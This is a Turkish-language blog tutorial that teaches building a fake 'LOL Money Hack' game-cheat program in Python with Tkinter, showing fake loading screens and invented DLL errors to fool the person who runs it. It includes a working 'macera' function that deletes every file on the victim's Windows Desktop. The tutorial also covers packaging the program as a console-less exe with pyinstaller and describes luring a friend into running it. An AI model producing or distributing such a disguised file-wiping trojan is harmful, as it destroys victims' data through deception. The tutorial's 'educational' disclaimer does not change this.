Python ile Sahte Arayüz Tasarlama
Merhabalar, Kekik | Siber'e Hoşgeldiniz..
Bu yazıda Python ile Tkinter kullanarak sahte arayüzler oluşturacak ve bu arayüzleri işleyeceğiz..
Not : Aşağıda bahsedilecek herşey eğitim için hazırlanmış olup, olası herhangi bir durumda sorumluluk alınmayacaktır.
Bu yazıyı istediğiniz platformda istediğiniz gibi kullanabilirsiniz.
Yeter ki bilgi yayalım , virüs değil :)
Not 2 : Birazdan okuyacaklarınız Orta düzey Python bilgisi gerektirmektedir .
Tkinter modülü;
♦ Windows'da Python3 ile default olarak yüklü gelir.
♦ GNU[Linux] Sistemlerde Kurulumunu Yapmak için;[sudo] apt install python3-tk
| pacman -S tk
komutlarını kullanabilirsiniz.
Peki ne işimize yarayacak bu arayüzler ?
Oluşturduğumuz arayüz'ü [sahte uygulama] daha sonra başka konularda bol bol kullanacağız. Ginede örnek vermek gerekirse:
- Yeni LOL hilesi çıkmış duydun mu ?
+ Hayır , uygulama mı path mi ? Ne hilesi ?
- Açınca lol ekranı çıkıyor biraz bekletiyor bilmem kaç oyun parası veriyor
+ Vaay , çok iyi . Nereden indireceğim ?
- Bekle link atıyorum
[]
+ Açtım evet , lol ekranı açıldı
+ Yükleniyor diyor
+ LOL dosyalarını arıyormuş
+ Hata verdi hmm
+ lolhack.exe can't find lol folder
+ Sanırım bilgisayarımda problem var
+ Neyse artık ..
Bu diyalog size tanıdık gelmiş olabilir . Uygulama açıldıktan sonra öyle bir kodlamamız gerekiyor ki kimseye birşey çaktırmasın .)
Tabiki bu konudaki bilgileri sadece "Pentests" alanında değil , Python projelerinizde de kullanabilirsiniz..
Ayrıca Python to exe
'ye de değinerek, .py dosyamızı Python bağımlılığında kurtararak her Windows bilgisayarda çalışır hale getireceğiz
Aynı şekilde .elf [executable linux file] 'da oluşturacağız
GelGelelim Kodlarımıza
[Çalışma alanı : Manjaro , Dosya Adı : kekiksiber_arayuz.py ]
#KekikSiber | t.me/kekiksiber | Python ile Sahte Arayüz Oluşturuyoruz import tkinter # arayüz için import sys # dosya ismi|exit için import time # sleep() için import platform # cihaz bilgileri için from tkinter import messagebox # tkinter içerisinden messagebox'ı çektik . Böylece hata gösterebileceğiz
Gereken tüm kütüphaneleri projemize dahil ettik .
Yukarıda LOL örneği verdiğim için arayüzümüzü lol temalı yapalım;
Tkinter modülünde uygulamamız içerisine resim eklememiz için, ekleyeceğimiz resmin o bilgisayarda bulunuyor olması şart.
Bu bağımlılıktan kurtulmak için uygulama açıldığı zaman bir png resim oluştuyrabiliriz.
Lakin bu bizim inandırıcılığımızı bozacaktır.
Bunun önüne geçmek için png resmimizi base64 kodu halinde programıma ekleyeceğiz .
Internetten img to base64 web adreslerine erişebilirsiniz.
Ama el yapımı salata varken neden dışarıdan salata söyleyelim ki ?
[PNG to BASE64] # Atlayabilirsiniz
import base64 yol = input("Aynı klasordeki resim tam adını yada konum belirterek resmin tam adını giriniz : ") try: # herhangi bir hata verirse bu eleman ile çökmesini engelleyeceğiz with open(yol, "rb") as dosya: # Resmimizi read bytes şeklinde açmak zorundayız ! dosya = base64.encodestring(dosya.read()) # png'imizi okuduk ve base64'e bunu encode etmesini söyledik with open(f"{yol}.txt", "wb") as yaz: # base64 kodumuzu ($yol).txt'e yazacağız . | base64 kodumuz byte halinde ! yaz.write(dosya) # base64 kodumuzu ($yol).txt'e yazdık input("Başarılı ile yazıldı !") # Başarılı olup olmadığı belirtmesi için bir input() verdik except Exception as hata: input("png to base64'e hata ile karşılaşıldı :\n"+hata) ## Olur da bir hata ile karşılaşırsak ne olduğunu anlamamız gerekiyor
Herşey başarılı olduktan sonra programımızı açalım
ve base64'e döndürmesi gereken img'i belirtelim
($yol).txt'e göz atalım ve tebrikler
Homemade byte to base64'ünüz oldu :)
png görselimizi [Tkinter jpg kullanmanıza izin vermeyecektir]
base64 koduna dönüştürdüğümüze göre kodlamaya devam;
[kekiksiber_arayuz.py]
app = tkinter.Tk() # tkinter penceremizi açtık image = tkinter.PhotoImage(data="""as4fydhedDh6Iy [dönüştürdüğümüz base64 kodu] qwesTtK35 ....""") app.title("Lol Money Hack") # bu kısım gözükmeyecek lakin ginede title ekleyebiliriz #app.wm_overrideredirect(True) # Bu kod ile kapat tuşunu ve küçült tuşunun olduğu kısmı komple kaldırıyoruz #app.attributes("-alpha", 0.9) # Bu kod ile penceremize hafif şeffaflık katıyoruz # Kodlama aşamasında bu ikisini deaktif etmeniz daha sağlıklı olacaktır app.resizable(0,0) # Yeniden boyutlandırmayı kapattık label = tkinter.Label(image=image,text=" ",compound="top",bg="black",fg="white",cursor="watch") # image ile label'ımızda resim olacağını belirttik # text ile penceremizde yazı gösterceğiz . Ama bu'nun değerine neden " " verdik ? # Programın açıldıktan sonra biraz bekleyip ardından yazıları göstermesini istiyorum # Bunu yaparken pencerede hiç kıpraşma olmaması gerekiyor , bu sebepten " " değerini veriyorz # compound = "top" ile yazımızı en alta çekiyoruz "center" ile ortalayabilirsiniz # bg [background olarak da kullanılabilir] "black" değerini vererek arkaplanı tamamen siyah yapıyoruz . "#000" vererek de yapılabilir # fg [forgorund olarak da kullanılabilir] "white" değerini verek text rengini beyaz yapıyoruz . "#fff" vererek de yapılabilir # cursor değeri ile label'deki imleci belirliyoruz . "watch" ile yükleniyor imlecini kullanıyoruz label.pack() # label'imizi görünür yaptık app.mainloop() # penceremizi aktif ettik
Buraya kadar herşeyi eksiksiz yazdıysanız dosyamızı çalıştırdığımız zaman resmimiz ekrana gelmiş transparant ise arkasında siyahlığı görüyor olacaksınız..
Yanlız fark ettiyseniz penceremiz ekranın sağında solunda açıldı . Bunu ekranın tam ortasına almalıyız . Böyle uygulamamız profesyonelce gözükecek :)
Bunu yapmak için birtakım matemaktiksel işlemler gerekiyor . Hal böyle olunca bende internetten buldum kodları :)
[kekiksiber_arayuz app ortalama kodları]
windowWidth = app.winfo_reqwidth() # penceremizin enlemini aldık windowHeight = app.winfo_reqheight() # penceremizin boylamını aldık positionRight = int(app.winfo_screenwidth()/3 - windowWidth/2) # Pencere konumumuzun enlemini positionDown = int(app.winfo_screenheight()/3 - windowHeight/2) # Pencere konumumuzun boylamını değiştiriyor. app.geometry(f"+{positionRight}+{positionDown}") # Pencere konumumuz ayarlıyoruz
Bu kodları kekiksiber_arayuz.py'e ekleyince tam olarak böyle gözüküyor;
#KekikSiber | t.me/kekiksiber | Python ile Sahte Arayüz Oluşturuyoruz import tkinter # arayüz için import sys # dosya ismi|exit için import time # sleep() için import platform # cihaz bilgileri için from tkinter import messagebox # tkinter içerisinden messagebox'ı çektik . Böylece hata gösterebileceğiz app = tkinter.Tk() # tkinter penceremizi açtık image = tkinter.PhotoImage(data="""as4fydhedDh6Iy [dönüştürdüğümüz base64 kodu] qwesTtK35""") app.title("Lol Money Hack") # bu kısım gözükmeyecek lakin ginede title ekleyebiliriz app.iconphoto(1,image) # ikonumuzu aynı resim olarak belirledik #app.wm_overrideredirect(True) # Bu kod ile kapat tuşunu ve küçült tuşunun olduğu kısmı komple kaldırıyoruz #app.attributes("-alpha", 0.9) # Bu kod ile penceremize hafif şeffaflık katıyoruz # Kodlama aşamasında bu ikisini deaktif etmeniz daha sağlıklı olacaktır # Uygulamamızı ortalamamız için windowWidth = app.winfo_reqwidth() # penceremizin enlemini aldık windowHeight = app.winfo_reqheight() # penceremizin boylamını aldık positionRight = int(app.winfo_screenwidth()/3 - windowWidth/2) # Pencere konumumuzun enlemini positionDown = int(app.winfo_screenheight()/3 - windowHeight/2) # Pencere konumumuzun boylamını değiştiriyor. app.geometry(f"+{positionRight}+{positionDown}") # Pencere konumumuz ayarlıyoruz #NOT# positionRight ve positionDown 'da pencereyi ortalarken "3" rakamında değişiklik yapmanız gerekebilir app.resizable(0,0) # Yeniden boyutlandırmayı kapattık label = tkinter.Label(image=image,text=" ",compound="top",bg="black",fg="white",cursor="watch") # image ile label'ımızda resim olacağını belirttik # text ile penceremizde yazı gösterceğiz . Ama bu'nun değerine neden " " verdik ? # Programın açıldıktan sonra biraz bekleyip ardından yazıları göstermesini istiyorum # Bunu yaparken pencerede hiç kıpraşma olmaması gerekiyor , bu sebepten " " değerini veriyorz # compound = "top" ile yazımızı en alta çekiyoruz "center" ile ortalayabilirsiniz # bg [background olarak da kullanılabilir] "black" değerini vererek arkaplanı tamamen siyah yapıyoruz . "#000" vererek de yapılabilir # fg [forgorund olarak da kullanılabilir] "white" değerini verek text rengini beyaz yapıyoruz . "#fff" vererek de yapılabilir # cursor değeri ile label'deki imleci belirliyoruz . "watch" ile yükleniyor imlecini kullanıyoruz label.pack() # label'imizi görünür yaptık app.mainloop() # penceremizi aktif ettik
Yukarıdaki kodların bitmiş haline erişebileceğiniz , kullandığım png'nin base64 kodlarını web adresimden çekmenizi sağlayacağım linkleri makalenin sonunda paylaşacağım
Yukarıdaki kodları sizde denedikten sonra uygulamamızın sadece base64 formatındaki png'imizi gösterdiğini göreceksiniz .
Açıkcası bu pek inandırıcı olmaz . Haydi birkaç nitelik ekleyelim
[kekiksiber_arayuz nitelik]
app = tkinter.Tk() app.resizable(0,0) # Yeniden boyutlandırmayı kapattık label = tkinter.Label(image=image,text=" ",compound="top",bg="black",fg="white",cursor="watch") # label'ı ayarladık label.pack() # label'imizi görünür yaptık app.update() # Tkinter'a tüm ayarları yaptığımızı söyledik. # Böylece sleep verdiğimiz zaman ekrandaki herşeyi gösterip sonra bekleyecek. # Aksi türlü ilk sleep()'i bekliyor ardından uygulamamızı açıyor . time.sleep(3) # Arkadaşımızı azıcık bekletelim değil mi :) +knk az bekle yüklenir şimdi label.config(text="Searching LOL Files ..") # 3 saniye bekledikten sonra daha önce " " olarak verdiğimiz değere birkaç şeyler yazalım # Yabancı dil kullanarak "+ adamlar yapmış bee" dedirtebilirsiniz .) app.update() # Tekrardan güncelleme vermek zorundayız time.sleep(3) # "Searching LOL Files .." :) label["text"] = "Searching LOL Account" # label.config() yapmak yerine label[]'de kullanabilirsiniz . app.update() # Tekrardan güncelliyoruz time.sleep(3) # Yine 3 saniye bekletip hatamızı çakalım messagebox.showerror("LOL Money Hack","Id1oT.dll not found !") # :) .dll bulunamadı adında bir hata çıkarttık sys.exit() # Hata ekranı geçildikten sonra tüm uygulamamızı kapattık
Şimdiye kadar ne yaptık;
♦ png'mizi base64 koduna getirdik böylece başka bilgisayarlarda png'yi oluşturmamıza gerek kalmadı
♦ Ekranımızı oluşturduk arka planı siyah yaptık ve 3 saniye bekleterek bir yazı atadık
birkaç yazı daha ekledik
♦ sonra messagebox.showerror() ile ekrana hata gösterip programı kapattık
Şimdiye Kadarki Güvenli Arayüzün Tamamı <<
Peki buna biraz daha macera eklesek ne olur ? :)
Aklımdaki macera hepinizin iştahını kabartacak türden lakin ByteData projem için saklıyorum :)
Yine de yakın arkadaşınızı çıldırtacak bir şey yazalım hadi;
[kekiksiber_arayuz macera]
def macera(): import os konum = os.getcwd() # Şuanki konumu aldık | almasak da olurdu isim = os.getlogin() # Desktop'a geçmek için isim'i aldık os.chdir("C:\\Users\\"+isim+"\\Desktop") # os.chdir(os.getenv("desktop")) de kullanılabilir | Desktop konuma geçtik # for i in os.listdir(): # Desktop konumundaki tüm dosyaları listeledik try: os.remove(i) # Listelediğimiz tüm dosyaları sildik :) except:pass app.update() macera() # tüm dosyaları silen hazinemizi aktif ettik messagebox.showerror("Lol Money Hack","lollib.dll not found !") # en sonunda lollib.dll yok dedik :D
Haydi şimdiye kadarki tüm kodları yeniden paylaşalım .
Güvensiz Arayüz
Bu sefer bunu çalıştırken dikkat edin :)
Küçük zararsız arayüzümü yazdık . Şimdi bunu exe | elf yapalım .
Bunu sağlayabilmek için pip ile "pyinstaller" 'ı kurmanız gerekiyor :
windows :
pip install pyinstaller
Linux :
pip3 install pyinstaller
Mac :
pip3 install pyinstaller
pyinstaller'ı kurduktan sonra yapacağımız işlem pek basit dostlar . Terminal ile .py dosyamızın olduğu yere gidin :
Örnek: kekiksiber_arayuz.py C:\Users\raifpy\Desktop\kekik'in içinde olduğunu farz edelim;
cmd'yi açın ve : cd C:\Users\\raifpy\Desktop\kekik
yazarak o konuma geçin .
[Python To EXE]
pyinstaller --onefile --noconsole kekiksiber_arayuz.py
pyinstaller --onefile --noconsole -i aynikonumdaki.ico kekiksiber_arayuz.py
Şeklinde exe elf yada mac executable file * olarak düzeltebilirsiniz :)
Bu işlemlerden sonra çalıştırılabilir dosyamız dist klasörünün içinde olacaktır
Zarasız olan hali için : kekiksiber_arayuz_guvenli.py
Zararlı olan hali için :) : kekiksiber_arayuz_guvensiz.py
kullandığım lol png'nin base64 kodları : lol.png.txt
png to base64 tool : PNGtoB64.py
web adresimden çekilen lol png ile çalışan zararsız hali : kekiksiber_arayuz_imginweb.py
*****
NOT : pyinstaller ile exe formatına çevrilen her program virustotal'de en az 8 anti virus tarafından "zaralı yazılım" olarak algılanır..
program zararlı olsun yada olmasın .
*****
Kaynakça : Kodlab YayınEvi | Projeler ile Python , stackoverflow.com , doctorguru.com , yazbel.com , istihza.net ...
Posted for KekikSiber by raifpy